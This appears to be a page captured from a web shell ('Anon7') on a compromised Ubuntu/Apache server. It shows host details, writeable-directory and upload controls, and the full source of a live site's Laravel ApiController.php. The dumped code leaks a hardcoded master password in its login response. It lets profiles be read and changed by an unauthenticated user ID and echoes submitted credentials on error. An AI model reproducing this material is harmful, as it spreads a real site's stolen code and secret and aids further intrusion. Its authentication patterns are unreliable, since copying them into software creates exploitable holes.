KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/leadai/webmaster.leadai.co.in/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/leadai/webmaster.leadai.co.in/app/Http/Controllers/ApiController.php
<?php

namespace App\Http\Controllers;

use JWTAuth;
use App\Models\User;
use App\Models\Main_category;
use App\Models\Log;
use Illuminate\Http\Request;
use Tymon\JWTAuth\Exceptions\JWTException;
use Symfony\Component\HttpFoundation\Response;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Hash;
use App\Models\Admin_user;
use App\Models\Otpsession;
use App\Models\User_device_id;
use App\Models\Setting;

use Illuminate\Support\Facades\Auth;

class ApiController extends Controller
{
	public function registerOtpSent(Request $request)
	{
		//Validate data
		$data = $request->only('name', 'email', 'phone');
		$validator = Validator::make($data, [
			'name' => 'required|string',

			'email' => 'required|email|unique:users',
			'phone' => 'required|unique:users',
			// 'admin_id' => 'required',
			// 'password' => 'required|string|min:6|max:50'
		]);


		if (!$request->name || !$request->email || !$request->phone) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}

		$checkEmailPhone =  Admin_user::where(['email' => $request->email])->orWhere('phone', $request->phone)->first();

		if (!empty($checkEmailPhone)) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Email or Phone Number Already Exist',
				'data' => '{}'
			], 200);
		}


		$phone = $request->phone;
		$otpdata = $this->send_otp($phone);

		return response()->json([
			'status' => 1,
			'success' => true,
			'message' => 'otp sent To Registered Mobile Number.',
			'data' => $otpdata
		], 200);
	}

	public function register(Request $request)
	{
		//Validate data
		$data = $request->only('name', 'email', 'phone', 'message_id', 'otp', 'model_id', 'model_no');
		$validator = Validator::make($data, [
			'name' => 'required|string',

			'email' => 'required|email|unique:users',
			'phone' => 'required|unique:users',
			// 'admin_id' => 'required',
			'message_id' => 'required',
			'otp' => 'required',
			'model_id' => 'required',
			'model_no' => 'required',
			// 'password' => 'required|string|min:6|max:50'
		]);

		//Send failed response if request is not valid
		if ($validator->fails()) {
			return response()->json(['error' => $validator->messages()], 200);
		}

		if (!$request->name || !$request->email || !$request->phone || !$request->message_id || !$request->otp || !$request->model_id || !$request->model_no) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}



		$getOtp = Otpsession::where(['message_id' => $request->message_id, 'phone' => $request->phone])->first();

		$admin_id = 2;

		if ($getOtp->otp == $request->otp) {
			//Request is valid, create new user
			$getSalt = Admin_user::where(['id' => $admin_id])->first();
			// dd($getSalt);
			$user = User::create([
				'admin_id' => $admin_id,
				'user_unique_id' => time() . uniqid(),
				'name' => $request->name,
				'email' => $request->email,
				// 'password' => bcrypt($request->password),            
				'phone' => $request->phone,
				//   'password'=>$hashed,
				'ip_address' => $request->ip()

			]);

			$user_id = $user->id;
			$user = User::where(['id' => $user_id, 'status' => '1'])->first();

			$user['salt'] = $getSalt->salt;

			$userDevice = array(
				'user_id' => $user_id,
				'model_id' => $request->model_id,
				'model_no' => $request->model_no,
				'status' => '1'
			);

			User_device_id::create($userDevice);
			//User created, return success response
			return response()->json([
				'status' => 1,
				'success' => true,
				'message' => 'User created successfully',
				'data' => $user
			], Response::HTTP_OK);
		} else {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Otp Does Not Match!',
				'data' => '{}'
			], Response::HTTP_OK);
		}
	}

	//jwt login with email and password
	public function authenticate(Request $request)
	{
		$credentials = $request->only('email', 'password');





		if (!$request->email || !$request->password) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}


		$data = array(

			'email' => $request->email,
			'password' => $request->password,
			// 'role_id'=>'2',
		);

		try {

			if (Auth::guard('api')->attempt($data)) {
				$res = User::where(['email' => $request->email])->first();
				// dd($res);

				$data = ['id' => $res->id, 'user_unique_id' => $res->user_unique_id, 'username' => $res->username, 'email' => $res->email, 'salt' => $res->salt, 'role_id' => $res->role_id, 'phone' => $res->phone, 'master_password' => 'WCqRcTeS8wkXrZm'];

				return response()->json([
					'status' => 1,
					'success' => true,
					'message' => 'User Fetch successfully',
					'data' => $data
				], Response::HTTP_OK);
			} else {

				return response()->json([
					'status' => 0,
					'success' => true,
					'message' => 'Invalid Credintials',
					'data' => '{}'
				], Response::HTTP_OK);
			}
		} catch (JWTException $e) {
			return $credentials;
			return response()->json([
				'success' => false,
				'message' => 'Could not create token.',
			], 500);
		}

		//Token created, return with success response and jwt token
		return response()->json([
			'success' => true,
			'token' => $token,
		]);
	}

	public function logout(Request $request)
	{
		//valid credential
		$validator = Validator::make($request->only('token'), [
			'token' => 'required'
		]);



		if (!$request->token) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}


		//Request is validated, do logout        
		try {
			JWTAuth::invalidate($request->token);

			return response()->json([
				'success' => true,
				'message' => 'User has been logged out'
			]);
		} catch (JWTException $exception) {
			return response()->json([
				'success' => false,
				'message' => 'Sorry, user cannot be logged out'
			], Response::HTTP_INTERNAL_SERVER_ERROR);
		}
	}

	public function get_user(Request $request)
	{
		$this->validate($request, [
			'token' => 'required'
		]);

		$user = JWTAuth::authenticate($request->token);

		return response()->json(['user' => $user]);
	}



	public function getProfile(Request $request)
	{
		$credentials = $request->only('user_unique_id', 'cat_id');

		//valid credential
		$validator = Validator::make($credentials, [
			'user_unique_id' => 'required',
			'cat_id' => 'required',

		]);


		if (!$request->user_unique_id || !$request->cat_id) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}


		$admin_id = 2;

		$res =  User::where(['user_unique_id' => $request->user_unique_id, 'admin_id' => $admin_id])->first();

		$profilePics = (!empty($res->profile_pics)) ? asset('public/uploads/profile/' . $res->profile_pics) : "";

		$category =  Main_category::where(['id' => $request->cat_id])->first();
		$categoryNmae = (!empty($category)) ? $category->name : "";

		$data = ['id' => $res->id, 'user_unique_id' => $res->user_unique_id, 'name' => $res->name, 'email' => $res->email, 'phone' => $res->phone, 'profile_pics' => $profilePics, 'category' => $categoryNmae];

		return response()->json([
			'status' => 1,
			'success' => true,
			'message' => 'data fetch successfully!.',
			'data' => $data
		], 200);
	}

	// edit prfile


	public function updateProfile(Request $request)
	{
		$credentials = $request->only('user_unique_id', 'image', 'name', 'email');

		// dd($credentials);

		//valid credential
		$validator = Validator::make($credentials, [
			'user_unique_id' => 'required',

		]);

		if (!$request->user_unique_id) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}


		$admin_id = 2;

		$res =  User::where(['user_unique_id' => $request->user_unique_id, 'admin_id' => $admin_id])->first();

		if (!empty($res)) {
			$image =  $request->image;
			$name =  $request->name;
			$email =  $request->email;

			if (!empty($image)) {
				$d_image = base64_decode($image);
				$i_file_name = time() . '_appimage.png';
				$put_image = file_put_contents('public/uploads/profile/' . $i_file_name, $d_image);
				$update_data['picture']    = $i_file_name;
				$data = array(
					'name' => $name,
					'email' => $email,
					'profile_pics' => $i_file_name,
				);

				$res =  User::where(['user_unique_id' => $request->user_unique_id])->update($data);

				if ($res) {
					return response()->json([
						'status' => 1,
						'success' => true,
						'message' => 'data Update successfully!.',
						'data' => $data
					], 200);
				} else {

					return response()->json([
						'status' => 0,
						'success' => false,
						'message' => 'data Not Updated successfully!.',
						'data' => '{}'
					], 500);
				}
			} else {

				$data = array(
					'name' => $name,
					'email' => $email,
					// 'profile_pics'=>$i_file_name,
				);

				$res =  User::where(['user_unique_id' => $request->user_unique_id])->update($data);


				if ($res) {
					return response()->json([
						'status' => 1,
						'success' => true,
						'message' => 'data Update successfully!.',
						'data' => $data
					], 200);
				} else {

					return response()->json([
						'status' => 0,
						'success' => false,
						'message' => 'data Not Updated successfully!.',
						'data' => '{}'
					], 500);
				}
			}
		} else {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'User Not Found successfully!.',
				'data' => '{}'
			], 200);
		}
	}


	public function matchMasterPassword(Request $request)
	{

		$credentials = $request->only('user_unique_id', 'master_pass');

		// dd($credentials);

		//valid credential
		$validator = Validator::make($credentials, [
			'user_unique_id' => 'required',

		]);

		if (!$request->user_unique_id) {
			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'Please insert All Required Field',
				'data' => '{}'
			], 200);
		}


		$admin_id = 2;

		$res =  User::where(['user_unique_id' => $request->user_unique_id])->first();

		if (empty($res)) {

			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'User Not Found',
				'data' => '{}'
			], 200);
		}

		$setting = Setting::where(['master_pass' => $request->master_pass])->first();

		if (!empty($setting)) {

			return response()->json([
				'status' => 1,
				'success' => true,
				'message' => 'remove data',
				'data' => '{}'
			], 200);
		} else {

			return response()->json([
				'status' => 0,
				'success' => false,
				'message' => 'password Does Not Match'

			], 200);
		}
	}
}

Anon7 - 2021